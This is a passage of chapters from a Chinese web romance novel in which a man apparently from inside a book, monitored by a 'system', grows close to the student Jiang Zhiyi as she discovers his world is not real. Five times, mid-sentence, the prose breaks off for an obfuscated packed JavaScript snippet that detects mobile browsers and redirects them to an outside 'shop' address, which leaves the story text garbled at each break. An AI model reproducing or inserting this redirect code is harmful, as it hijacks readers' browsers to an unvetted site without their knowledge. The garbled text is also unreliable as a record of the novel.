“因为我还有更多的事想做啊。”江知意望向远方,回忆着过去一年学生会的经历,“学生会的工作我已经了解了,接下来一年估计也是带新生做同样的事,一模一样的事没必要做两遍,所以我想,不如退了学生会,去做点更有意义的事。” “比如呢?”傅延青问。 “比如……”江知意笑了笑,低下头,“过去一年我因为比赛和学生会,认识不少高年级的同学,和他们聊天时,我发现大家心里公认最厉害的不是保研,也不是出国留学,更不是找到高薪工作,而是创业,自己创业。” 她轻轻踢了一脚脚下的石子,继续道:“在你面前说这个可能有点不自量力,毕竟你站得那么高,可我想,也不一定要做很大很成功,稳扎稳打地前进,一点一点做起来也很好啊。” 第一次在人前说起这个,江知意有些不好意思,她看向傅延青,紧张又期待地问道:“你觉得怎么样?” 像是在问他意见,又像是紧张在乎他的看法。 傅延青默了默,点头:“挺好的。” 是真的挺好。 他想起傅呈远,那个不成器的弟弟。 书里傅呈远能有个好结局,全靠傅氏托举,全靠他是“男主”。所谓钱能生钱,有傅氏兜底,他就算失败也有重新站起的机会。 但本质上来说,傅呈远并不是冷静客观、能主持大局的性格。 在这一点上,他甚至不如十九岁的江知意。 江知意数学专业出身,聪明冷静理智,逻辑清晰有条理,某种程度上,经过不断的学习训练,她比傅呈远更适合白手起家。 这么想着,傅延青微一恍惚,忍不住期待起几年后的江知意。 可随即想到自己的未来,冰冷的现实提醒他——那时他已经不在了。 他看不到那样的江知意了。 男人握紧拳又松开,淡淡一笑,肯定道:“未来可期。” 江知意笑了:“不问问我具体想做什么?” “想做什么?” “想做独立游戏吧。”她眼里有光,憧憬地说着自己的构想,“做一个女孩子冒险的游戏,某一天她的国家受难,于是她离开家乡,途经各个地方找解救国家的办法,她一路冒险,一路认识很多朋友,环绕世界一圈,终于回去拯救了自己的国家——这样一个游戏。” “这个类型的游戏可能受众不多,但一开始我就想做一些小而美的东西,竭尽所能,保持正向发展就好了。”她认真分析,“大二开始我们就要陆续学一些编程语言,像C++和Java,下学期还有计算机设计大赛,我打算慢慢锻炼自己;至于美术音乐文本,就趁这两年仔细找找有没有志同道合的同学。” “总之。”她浅浅一笑,“这是我的初步构想,希望几年后我能开始做这个游戏,希望几年后,我能把它落地。” “会的。”傅延青说,“我相信你。” 就像他相信她不会因为奶奶的离世而一蹶不振影响高考一样,这次他也相信,她能把她的梦想变为现实。 “这么相信我呀?”江知意语气轻松,笑着问他,“那你会看着我到那一天吗?” 细看之下,她的眼神有种执拗的认真,好似在索要一个承诺。 可她明知他时间已不多。 心脏开始发酸发涩,仿佛浸了酸液,如果可以,他也想亲眼看着她走到那一步。 可惜。 没有如果。 他只能笑着应:“我尽量。” * 傍晚时分,傅延青送她回学校。 临别之际,傅延青问她:“下个月生日,想要什么礼物?” “礼物?”江知意故意狮子大开口,“我说什么你就送什么吗?” 傅延青:“只要我送得起。” 不知何时,她在他面前变得一点都不客气了。 再也不似从前一般,总是计较你来我往。 “嗯……我想想。我不想要你买的,我想要你做的,除了簪子,你还会做什么?” “没有了,只有素描勉强会一点。” “素描?”江知意眼睛亮了,“能画人像吗?” “可以。” “那你给我画一副素描当生日礼物,可以吗?” 傅延青点头。 彼时在系统的模拟走向中,他看到自己满屋子的素描。 他以为这些画一辈子都不会被她看到。 没想到有一天,她主动说想要。 他笑了:“那我回去画好拿给你。” “等等等等。”眼看他要走,江知意拽住他袖子,“你不用照着我画吗?你画素描不用模特吗?” “不用。”傅延青认真道,“我记得住。” 她的模样,他早已刻骨铭心。 江知意怔了怔,被他话里别样的含义震住,耳根一烫,匆匆收回手,移开目光道:“嗯……好吧,那你慢慢画,不着急,我等你的礼物。” * 月色西沉,SF812疾驰而去,早已不见踪影。 江知意回头,望向傅延青离去的方向。 其实,她退学生会还有个理由。 学生会的事情又多又杂,除了一小部分真的能学到东西,剩下的多是些无意义的事。 今天这个部室喊你过去帮忙,明天学办缺人又要你立刻赶到。 做个表,帮老师跑个腿,都是再正常不过的事。 她不清楚傅延青还能在她身边留多久,可至少,在有限的时间里。 她想多见见他。 她想多陪陪他。 这是她的私心,傅延青没必要知道。 她知道就够了。 46. Round 3 傅延青的素描不在形,而在神。 他的画细节不多,主要勾勒神韵。 原本他描绘人物神韵的水平也算不上高,但因为画的人是江知意,他足够熟悉,落笔才如此神似。 定下约定的那天,离江知意的生日还有两周。 十四天里,一天一副,他足足画了十四幅。 最初他想挑一张最好最满意的送给江知意,但想到她的复数癖,又慢慢将所有的画卷了起来。 她喜欢复数,那就都送给她。 十月十日,金黄色的银杏叶落了一层又一层,堆在树脚,漂亮得不可言说。 傅延青带着礼物去找江知意,正好看到她在操场练球。 这学期她依旧选了篮球,据她所说,期末要考三步上篮。 此刻她站在篮板边,手起球落,利落地运球前进。 这样的江知意很少见,傅延青不忍打扰,索性站在操场边等。 三步上篮后,球顺着篮筐滚落,江知意露出懊恼的表情。 就在此时,傅延青注意到旁边一个男生看着江知意,几经犹豫,还是没有上前。 那个男生的样子很眼熟,傅延青记得,他教过江知意打球。 这次怎么了? 不多时,男生垂头丧气地离开,路过他时,他意识到什么,惊诧地朝他望过来。 他的眼里出现了一种很微妙复杂的情绪,似敌意,似嫉妒,似自惭形秽,又似羡慕。 傅延青淡淡移开目光,大概懂了。 看来他是对江知意表白失败了。 而且还错把他当做了情敌。 说情敌也没错,毕竟他们都喜欢江知意。 可他不知道的是,江知意对他,同样只有拒绝。 反复练了几次三步上篮,江知意终于在一次回眸中注意到了他。 她露出惊喜的笑容,抱着篮球来到他面前:“怎么不叫我?等久了吧。” “还好,看你打会儿球也不错。” “一直在看我练球?”她扬起下巴,微微骄傲道,“那我刚才三步上篮的样子帅不帅,飒不飒?” 她又露出这幅可爱的求夸模样,仿佛在对很亲密的人撒娇一般,傅延青心里一软,点头:“很帅,很飒。” 球在她手中生了风,手腕一抬,便落下一道漂亮的弧线。 飒得让他心动。 他指了指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589118|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹着的素描画:“今天你生日,来给你送礼物。” “我的素描?”她伸手就要抢,“快让我看看。” “急什么。”傅延青失笑,“都是你的,找个地方坐下来看。” “不,我现在就看。”也不知江知意在急什么,抢了画就展开看。 随着画纸徐徐展开,她脸上的表情一点点滞住。 仿佛被震住,玩笑神色悉数消失,只剩下了专注与凝重。 她一张张翻看着,始终没有说话,直到最后一幅,她陷入了沉默。 她好像在沉思,又好像在恍惚,不知在想什么。 秋风扫过,角落的银杏叶飞舞而起,傅延青伸手为她挡风,说道:“起风了,还要站这儿看吗?” 江知意怔怔抬头看他。 风将她的碎发吹乱,她伸手拨开,张了张嘴,却没有发出声音。 她竟不知说什么。 这些素描,是傅延青亲手所画,不需要模特,仅仅依靠记忆,他就可以画得这样生动。 她低头的样子,她微笑的样子,她出神的样子,她发呆的样子,她垂头丧气的样子。 那么多面的她,傅延青都记得。 47. Round 3 江知意又来到了那个奇怪的地方。 早上八点,街道两边还有人在摆摊卖早点。 热气腾腾的吆喝声中,江知意背着书包,缓缓向前走去。 大约十步,在跨出第十一步的瞬间,一个冰凉无形的东西穿过了她的身体。 江知意立刻站定,回头,周围景象一切如旧,看不出任何违和异常。 她退后一步,冰凉无形的东西由后至前,穿胸而过。 这东西……仿佛立在某个点的一道门一样,只要她穿门而过,身体就会有冰凉之感。 会是连接两个世界的门吗? 江知意向前向后反复几次,若有所思。 第一件事验证完,接下来是第二件。 她去了傅延青带她买TeenSpirit的地方。 凭着记忆,她一路直奔那家专柜,在看到香水下面的价格时,她一愣。 哪里是什么400、500和550,这里每一款的香水定价,都在六位数以上。 而那瓶TeenSpirit,定价188000。 江知意:“……” “女士您好,来买香水吗?”专柜的店员来到她身边,主动开口。 江知意抬头,问她:“傅先生最近来你们这里买过香水吗?” “傅先生?”店员微笑,显然知道“傅”这个姓代表什么,“您问小傅总还是傅总?” 江知意:“傅延青。” 店员脸上闪过一丝讶异,吃惊于她对傅延青的直呼其名,但因为职业素养,还是微笑着回答:“傅先生最近没有来过。” “那TeenSpirit呢,他买过吗?” “不好意思女士,这个属于客户隐私,我们不便透露。” “好,谢谢,我知道了。”江知意转身离开。 虽然店员没有正面回答,但江知意从她的表情就能看出,傅延青连去都没有去过,怎么可能买TeenSpirit。 第三件。 按照记忆,江知意来到了傅延青曾带她看病的大楼楼下。 眼前的大楼外观精致,高耸入云,看上去不像医院,更像一个私人场所,一楼大门紧闭,甚至需要密码和人脸识别才能进入。 江知意上前,按响了楼门门铃。 几声呼叫后,工作人员接通问道:“您好哪位?” “周医生在吗?” “……”对面沉默几秒,继续问道,“您是哪位?” “江知意,麻烦你帮我问问他还记不记得我。” 片刻后工作人员回来:“不好意思,周医生说他没有印象。” “谢谢。”江知意笑笑,“打扰了。” 她刻意没提傅延青的名字,就是怕这一趟被傅延青知道。 现在经过验证,她几乎确定了傅延青身边的一切都有问题。 明明她来过两次,明明周医生看过她的病历单,可他却说对她没有印象。 就如郝总监和贺凌舟一样。 这并不像简单的失忆,更像是记忆每隔一段时间,就被清空重置。 仿佛他们都是被设定好的程序,在固定的时间重复相同的事。 而那段时间,就是一本书从开始到结束的时间。 江知意取出手机,拨通了傅延青的号码。 “江知意?”男人的声音从电话里传来,“怎么了,找我有事吗?” “你在哪儿?”江知意双手握上手机,“我想见你。” “现在?”傅延青意外。 “现在。” 她颤声道。 * 发完地址,傅延青说开车来找她。 可是江知意等不及。 她一分一秒都不想多等,她想立刻见到他,她想以最快的速度见到他。 顺着傅延青来的方向,她同样向他奔去。 跑过两条街,经过三个红灯,SF812终于出现在视线尽头。 车的主人显然也注意到了她,开着车在路边缓缓停下。 接着他下车关门,大步朝她走来。 “有急事找我?”傅延青扶住快要站不稳的她,眼里有担心,有忧虑,“怎么不在原地等我?” “急,很急。”江知意大口喘着气,却笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636522|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我想问你一个问题。” “什么问题?” “你当初……”她借力扶住他手臂,直视他的眼睛,以防错过他任何一个表情,“为什么愿意帮我,为什么愿意和我做朋友?” 傅延青愣住。 他的手下意识一松,接着想起在扶她,又重新放回去。 他视线闪躲半分,错开她的目光,轻笑一声:“怎么想起问这个了?” “不是说过了吗,日行一善,你有些地方很像曾经的我,所以帮你一把,至于后来……”男人似乎想到什么,露出微笑,“被你吸引,自然就想做朋友了。” 不,不对,不可能是日行一善。 如果他是从另一个世界而来,某天要回到另一个世界,那他一定有什么任务或代价。 江知意也是时至今日才明白,他说的不能再见,说的要发展海外业务,说的要治病,其实都不是要和她绝交,而是两个世界切断联系,他被迫要回去而已。 书里的“傅延青”抽烟是习惯,且从未得过什么病,那眼前这个傅延青,也必然不可能是得了什么重病。 他只是在用一种体面的方式和她道别,和她解释。 “傅延青。”她眼眶渐渐有些酸,看着他道,“其实还有别的理由对不对?一开始我们在学校门口初见,你就注意到我了对不对?” 傅延青沉默。 他垂眸看着她,目光隐有哀伤。 “你如果怕我生气,那我答应你,我不生气。就算你的理由很荒诞,很离奇,只要你说,我就试着相信。这么久以来,我知道你是什么样的人,君子论迹不论心,以前的事都过去了,只要你说,我会相信你的。” 她期待地反握住他手腕,认真道:“我不生气,告诉我好不好?” 男人移开了目光。 与此同时,系统疯狂警告:“宿主,不可以告诉她,绝对不可以!不同世界的连接一旦让不相关的人知道,一定会生出大乱的!你要是敢说,0001一定会在你说之前抹杀你的!” 傅延青:“……” 他闭了闭眼:“我知道,我没打算说。” 48. Round 3 喜欢傅延青这件事,是江知意最近才意识到的。 或者说,最近才敢承认的。 时至今日,她早就无从回忆自己是什么时候喜欢他的,等意识到这一点,她已经很喜欢他。 那些掩埋下去的心思,都随着这个认知变得清晰起来。 她对他的接触毫不抗拒,替他生气,为他不甘,想到他就脸上发热,心跳加速,原来都是因为喜欢他。 彼时她觉得自己太平静,太理智,不像喜欢一个人的样子,可现在她明白,喜欢一个人的样子有千百种,没有谁是完全相同的。 但再平静再理智,一旦到喜欢的人面前,下意识的反应总是克制不住的。 就像…… 她被他抱的时候,也下意识想抱他。 她终于承认,林岚愣了几秒才回神:“你终于发现了啊?” 她凑近江知意想问更多,却发现江知意不如她想象中那么开心。 江知意低着头,唇角轻轻抿着,一副苦恼犹豫的样子。 “怎么啦?你喜欢他不是挺好的吗?还是说,你在想他喜不喜欢你?”林岚笑着问。 “不是。”江知意抬头看她,“其实这些都不重要了。重要的是,他还是会走。” “为什么?”林岚纳闷,“上次不是说不走了吗?” “他只是……暂时再留一段时间而已。”想到傅延青要走,江知意心里又泛起酸酸涩涩的感觉。 “啊?这么坚决?”林岚面露遗憾,“那你们不就不能在一起了?” 是啊。 纸片人怎么可能永远留在她的世界,长长久久和她在一起呢。 江知意笑了笑,没再回应,林岚又道:“或者,他愿意为了你留下呢?” 江知意一愣。 林岚道:“如果你和他表白,说喜欢他,或许他愿意为了你留下呢?” “怎么可能?”江知意下意识道。 “怎么不可能?如果他也喜欢你,肯定愿意为了你留下的。” “如果他不喜欢呢?”江知意反问。 “那就好聚好散喽。”面对这种问题,林岚一向很洒脱,“喜欢就在一起,不喜欢就好聚好散,这有什么?” 江知意:“……” 她怔怔看着林岚,半晌后笑了:“你还真是……” “真是什么?” “真是看得开。” “那当然了。”林岚微微骄傲,揽上她的肩问,“怎么样,要不要去试试?” 一片叶子被风卷起,悠悠带向远处,江知意沉默了会儿,摇头。 “算了吧,我有点怕。” “怕什么?” “怕我和他在一起后,他还是要走。” 如果她和傅延青表白,傅延青也喜欢她,他们就会在一起。 可他留与不留,却不是他能决定的。 如果他想尽了办法都不能留下,那分开的一刻,她只会比现在更痛苦。 从未得到,和得到后又失去,哪一个更痛苦? 对江知意来说,是后者。 从小在苏语琴的忽视与敷衍下长大,她早已习惯压抑自己的需求。 她习惯想象分开,想象失去,给足自己心理暗示,才能让那一刻真的到来时,没那么痛。 所以比起和傅延青表白,在拥有他后又失去,她宁愿让自己陷得没那么深。 陷得没那么深,抽离时的痛苦也就没那么痛。 现在这样,就挺好的。 林岚敢爱敢恨,拿得起放得下,可是她,她就是这么一个胆小懦弱、更倾向于保护自己的人。 奶奶走了,除了她自己,没人会再保护她。 “啊?”林岚不能理解她的思路,“为什么你们在一起他还是会走啊?” “他也是身不由己。”江知意笑笑,已然认输,“算了吧。就这样,挺好的。” * 周六,傅延青生日当天,江知意早早起了床。 等收拾好来到校门口,傅延青已等在那里。 初冬的天,寒风刮在脸上还有点疼,男人一身黑色长风衣立在车旁,肩宽腿长,无端就让人觉得英俊。 见到她来,他露出笑容。 “一大早就叫我过来,今天有安排?”傅延青微微笑着问。 “当然。”江知意在他面前停下,“今天你生日,想带你去一个地方。” “什么地方?” “等等你就知道了。”她递上手里的盒子,扬了扬唇,“生日蛋糕,尝尝看,我亲手做的。” 听闻“亲手”,傅延青眸光微动。 他接过蛋糕,弯了弯唇:“嗯,上车尝吧,车上暖和。” * 坐进车里,暖风大开,僵直的身体也慢慢放松下来。 傅延青拆开蛋糕盒,尝了一口,点头:“很好吃。” “真的?那就好。”江知意笑了,“快吃吧。” “练了很久吧?” “没有,课余时间抽空练的,我也不能老去打扰学姐。”她不好意思,“只是一个蛋糕,你喜欢就好。” 傅延青一笑,很快将蛋糕吃完。 “你说要带我去一个地方,是哪里?” “海边。”江知意目视前方,系好安全带道,“我们去看海吧。” * 江北市是一座临海城市,沿着公路一路向东,就能看见海岸线。 车停在路边,江知意带着傅延青下车,站在了海岸边。 海面不比江河,是真正的宽广一望无际。 站在这里只需一眼,心胸自有通透和豁然开朗的感觉。 天地辽阔,海天一色,美得令人心颤。 “好看吗?”江知意问。 傅延青:“……” 他罕见地沉默。 “我记得你的微信头像就是海,蓝色的天,蓝色的海,自由一望无际。” 顿了顿,她继续说:“有人说,大海是很宽广的,在大海面前,无论什么烦恼都会变得渺小不值一提,你看看这片海,心情有没有变好?” 她转过头,微微一笑:“很美吧,和你们那里的海比,怎么样?” 傅延青依旧沉默。 这一刻他生出无数思绪,敬畏,震撼,感动,种种思绪交织在一起,让他心潮澎湃,不能平静。 他从未见过这样的风景。 虽然看上去和他那个世界的海差不多,可他知道,终究是不一样的。 眼前的海更真实,更宽广,更自由。 更美。 “怎么想起来带我看这个?”傅延青转过来,与她对视。 “我想你会喜欢。”她仍是笑。 海风激荡,擦过脸颊还有几分冬日的萧瑟与锋利,江知意低头,取出最后一件礼物:“还有一件礼物,也是我精心挑选很久的,你看看,喜不喜欢。” 她打开盒子,露出里面的黑色围巾。 “上次跟你说,我拿了一等奖学金,这条围巾就是我用部分奖学金给你买的礼物。”她将围巾取出,看着他道,“很舒服,手感摸着很好,颜色也衬你。” 她紧张地问出最后一句话:“要不要……我帮你戴?” 风吹乱了他的碎发,傅延青低眸,眼神是她从未见过的异样温柔。 他面对着她,弯腰俯下身体。 一瞬间两人四目相对离得极近,江知意心跳快了一拍,故作自然没话找话道:“知道今天带你来看海会很冷,所以我特地挑了围巾给你当礼物,怎么样,我有先见之明吧?” 她一边说,一边将围巾从他脖子后绕出,一圈一圈给他戴好。 戴到最后,她握着围巾垂下来的两侧,惊觉他们的姿势离拥抱只差一点。 近到什么程度呢? 近到她只要圈住他的脖子,就能倾身抱上去。 咫尺之遥。 而傅延青看着她,十分安静,没有回答她的话,只是静静地、温柔地凝视着她。 远处海浪拍岸,他的眼里映着日光,金色的,一闪一闪跳动着,跳得她的心也跟着乱了。 江知意脸一热,匆匆收手退后两步:“戴好了,你看看。” “嗯。”傅延青说,“很漂亮。” 太阳渐渐升高了。 两人面朝大海,默契地安静看海,谁都没有先提离开。 随着日头升高,海风变得和煦,江知意忽然出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674845|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 “你还记不记得以前我说,我妈妈在家会担心我,她没来接我,是我体谅她工作辛苦,所以没告诉她。” “……”许久,傅延青“嗯”了一声。 “其实不是的。”江知意垂眼,声音变得有些闷,“抱歉,我没跟你说实话。” “抱歉什么?想说就说,不想说就不说,不用抱歉。” 远处传来几声海鸥叫,转了几圈,又渐渐远去了。 江知意想着苏语琴,沉默片刻,道:“其实她根本不会担心我。” “她不会担心我,也不会帮我请假,高考完她立刻让我搬走,也是为了摆脱我这个‘义务’。大学上到现在,她唯一一次来看我,是为了确认我过年不回家,以及介绍叔叔给我认识。” 倾诉的口一旦撕开一个角,剩下的就再也藏不住。 江知意继续:“我记得很小的时候,她还不是这样的。那时她也会讲故事哄我睡觉,我要什么买什么,给我剥橘子,切苹果。” “……后来不知什么时候,小学还是初中,她对我越来越敷衍没耐心,总是出差,几天都不回家。我难受不舒服的时候,她就说我怎么麻烦,一点小病嚷个没完,忍一忍吃点药不就好了?” “矫情。”江知意慢慢复述出苏语琴说她的那个词。 傅延青:“……” “还有我爸爸,以前他回家总要抱抱亲亲我,主动陪我玩,给我买礼物,教我下象棋。结果你猜怎么样?大学报道那天,我说我们下盘象棋吧,他惊讶地反问我,‘你会下象棋’?” 傅延青:“……” 这些过去讲起来并不愉快,江知意的头越垂越低,她笑笑:“我不喜欢别人可怜我,也不喜欢别人拿这些事伤害我,所以我很少跟人提起这些。以前没跟你说实话,抱歉,我不是故意针对你。” “……你怪他们吗?”男人的声音混在风里,沙沙的,有些哑。 江知意拧眉,认真想了一会儿,摇头:“法律和道德都没有规定父母必须无条件对子女好,他们愿意照顾就照顾,愿意抚养就抚养,不愿意……也没什么问题。少一个子女照顾,人生确实会变得更自由更舒服,我……” “那你自己呢?不委屈吗?”傅延青问。 江知意突然哽住。 “每次都用逻辑和理性分析出他们没问题,他们做出那样的行为很正常,每次都预设最坏的结果,做最低的期待,不累吗,不委屈吗?” “他们是他们,你是你,不要管他们怎么样,就问你自己,遇到这些事,你委屈吗?” 男人的话几乎一字一字问到她心坎上。 她总在降低自己的需求,用“别人没义务无条件对她好”来宽慰自己,可是扪心自问,苏语琴和江淮平那样对她时,在同学父母的衬托下,她会不会难过,会不会委屈,会不会怨怪? 视线不知不觉被泪水模糊,江知意闭了闭眼,将泪水忍回去:“我想奶奶了。” 只有奶奶对她无条件好。 她会攒很多很多的糖给她吃,等糖吃完,再留下花花绿绿的糖纸教她叠东西。 如果苏语琴不在家,奶奶就会带着做好的红糖饼来接她。 …… “奶奶”两个字,就是她心底最柔软的部分,一旦提及,泪水就会不受控制地决堤。 真糟糕,明明是带傅延青来过生日的,明明是想跟傅延青坦诚相待的,结果她哭成这样。 “我……”她狼狈地擦着眼泪,才开口说了一个字,就被男人伸手抱住。 傅延青用风衣将她裹在怀中,低沉的声音像在压抑着什么:“以后还会有很多人爱你的。” “哭吧,想哭就哭吧,这里没人看见。”顿了顿,他又说,“你愿意跟我说这些,我很高兴。以后你还有什么委屈,都可以告诉我。” “我陪你。” “……”眼泪在他的衣服上洇开,江知意抬起手,轻轻回抱住他。 她喜欢的人,何其温柔。 就让她放纵一次。 一次。 一次就好。 他说,以后还会有很多人爱她。 可她不用很多人。 她只要在乎的人。 49. Round 3 这节课叫常微分方程,偏理论,是数学与应用数学的核心课程。 江知意她们专业更偏实践,侧重用计算机解决问题,并没有安排这门课,江知意想学,便只能挑空闲的时间来蹭课。 好在常微分的老师管得不严,对出现在教室的陌生面孔向来睁一只眼闭一只眼,她从第一次的紧张拘谨,也渐渐变成了现在的轻松自在。 三点五十二到教室,江知意自觉带傅延青坐了最后一排的位置。 还未上课,老师还没来,教室有人在说话,有人看书,也有人戴着耳机在听东西。 江知意放下书包,取出笔记本和借来的课本。 傅延青看见她的笔记本,问道:“能让我看看吗?” 江知意微微惊讶,但还是大方地点头:“可以啊。” 傅延青翻开笔记本,上面只有几页内容,零零散散,记的很少。 再细看,上面的东西虽然少,但都是最核心最重要的东西,看得出来,她很会抓重点。 想到此,他轻轻弯起唇。 不多时老师进来,开始上课。 客观来说,老师讲得很好,思维敏捷,逻辑清晰,即使是傅延青这样多年不碰理论知识的人,也能顺着思路听下去。 只是他听了片刻,目光不知不觉移到江知意那里。 少女听得很认真。 素面朝天,眼里是对知识的求知欲,对数学的专注,对数学的热爱。 好美,傅延青想。 美得他怦然心动。 如他所想,她很少记笔记。 大部分时间她都全神贯注盯着黑板和老师,偶尔才用笔快速记几个点。 教室里的秒针在不停走着,傅延青突然想,要是时间再慢一点就好了。 再慢一点,再慢一点。 两个小时的课很快结束,江知意收拾好书包准备起身,一个说过几句话的同学经过她,打了声招呼:“嗨,又来蹭课啊?” 江知意点头笑笑。 接着她看到她身边的傅延青,惊讶问道:“嗯?你男朋友?” 江知意:“……” “不是,一个朋友。” “好吧,不好意思。”她歉疚地笑了一下,挥手,“走了,拜拜。” “……拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714879|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜。” 饭点时刻,学生还在一股脑地往外涌。 江知意看了眼人挤人的楼道,对傅延青说:“我们等人少一点再走吧。” “好。”傅延青道。 他回答得很平静,好像没有听到刚才那句“男朋友”一样。 男朋友…… 莫名地,江知意脸上腾地一热。 她慌忙低下头,装作不经意的样子翻着笔记。 男朋友,男朋友。 奇怪,带人来上课就要被误认为男朋友吗? 还是说,他们看起来挺像在一起的? 乱七八糟的想法在脑子一个个过着。 不管怎么说,上扬的嘴角还是出卖了她的心情。 当误认为是男朋友什么的…… 她并不讨厌。 笔记翻到最后一页有字的地方,傅延青忽然出声:“记那么少,上课讲的那些,你都记住了?” “嗯?”江知意转头看他,理所当然道,“记住了啊,理解了不就记住了。” “果然。” “果然什么?” “你很聪明。” 50. Round 3 十分钟后,车停在傅氏大楼楼下,江知意明白了最高的地方是在哪里。 ——是傅氏总部大楼的楼顶。 傅延青带她刷卡进电梯,来到了楼顶天台。 天台风很大,门打开的瞬间,江知意向后踉跄半步,险些没站稳。 好在傅延青及时扶了她一把。 “小心。”他伸出手腕,“抓紧我。” 江知意抓住了他。 在最高的地方看落日果然不一样。 夕阳的余晖洒满天际,流云,晚霞,星月,都近得触手可及。 她的心变得踏实而宁静。 一种天长地久的温柔在心里轻轻漾开,江知意慢慢地,慢慢地,靠上傅延青的肩。 好像此情此景,她就该这么做。 什么都不去想,什么都不去考虑,就这样凭借本能,做她想做的事。 感受到肩上的重量,傅延青低头看了她一眼。 “好看吗?”他问。 “好看。” “还有想做的事吗?” “没有了。” “是吗。”他轻轻笑了一声,酥酥的,很好听,“现在心情好点了吗?” 江知意又变得沉默。 最后一点夕阳也沉下去,天黑了。 夜风渗人,像刀刃擦过脸颊,傅延青低低叹了口气,道:“太冷了,回吧,办公室的落地窗也能看夜景。” 江知意却摇头:“不回,就在这儿。” 她低低道:“你之前说你有个同父异母的弟弟,那你爸爸再婚了吗?” 没想到她会提起这件事,傅延青眸色沉了沉:“嗯。” “你难过吗?” “……” “不难过。” “是吗,你真厉害。”她笑了下,“为什么我爸爸再婚,我有点难过呢?” 傅延青心里骤然一疼。 很轻的一下,像针刺一样,却也足够让他辗转反侧。 他伸手搂住江知意,问:“为什么难过?” “我也不知道。”她望着远处,一点点分析着自己的情绪,“是因为他和别的阿姨在一起了吗?好像不是,我很早就知道他们在一起,那时我也没多难过。是因为他选择停掉我的生活费而去结婚吗?好像也不是,我本来就没对他的钱抱有期待。” 分析来分析去,只剩一点,少女的声音更轻了些,仿佛下一秒就散在风里:“是因为他结婚却没告诉我吗?” “……” 她停下来,顿了顿道:“好像是的。” 她终于找到原因,停顿许久道:“我一直以为他是我爸爸,无论发生什么,总还有这层血缘在,直到今天我才发现……原来我们早就被隔开了。结婚这样的大事,我作为亲生女儿竟然不知道,除了每月的生活费,我们就像陌生人一样。” 不会互相关心,不会分享近况。 不发消息,不打电话。 他们和陌生人有什么区别? 江知意蹙眉,浓郁的孤独在这一刻涌上来,她从来没有这样孤立无援的感觉。 江淮平再婚,好像打破了她最后一点幻想,让她真真正正意识到,她是彻底的孤身一人了。 江淮平是,苏语琴更是,他们想尽办法将她推给对方,只为了毫无负担地奔向新生活。 想明白后,江知意笑了。 原来是这样。 原来她难过的原因是这个。 下次可不能再这样了。 她才不要为不值得的人难过。 “然后呢,就这样忍着吗?”傅延青开口。 “什么?”江知意一愣,坐起来看傅延青。 “他不在乎你,你也没必要在乎他。”他定定看着她,“直接找他问清楚吧。” “这样就行了?” “是。”傅延青点头,“做个了结,以后就再也不会因为这个人难过了。” 这话说得江知意心里一动,对啊,她这样一直想有什么用? 找江淮平问清楚,做个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765999|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了结,她才能彻底放下对他们亲情的幻想。 她拿出手机点开江淮平的对话框,抬眼看傅延青一眼,又改为拨号码。 “喂,知意?”三声响后,江淮平接通了电话。 他的声音带着微微的笑意,音调上扬,听起来心情不错。 也对,再婚的大喜日子,怎能不开心? “你结婚了吗?”没有喊“爸爸”,江知意直截了当地问。 “啊?哦哦,你看到朋友圈了是吧,是啊,今天我和你林阿姨结婚,怎么了?”江淮平笑着问。 他还是这幅轻描淡写不以为意的样子,江知意将手机越握越紧:“为什么不告诉我?” 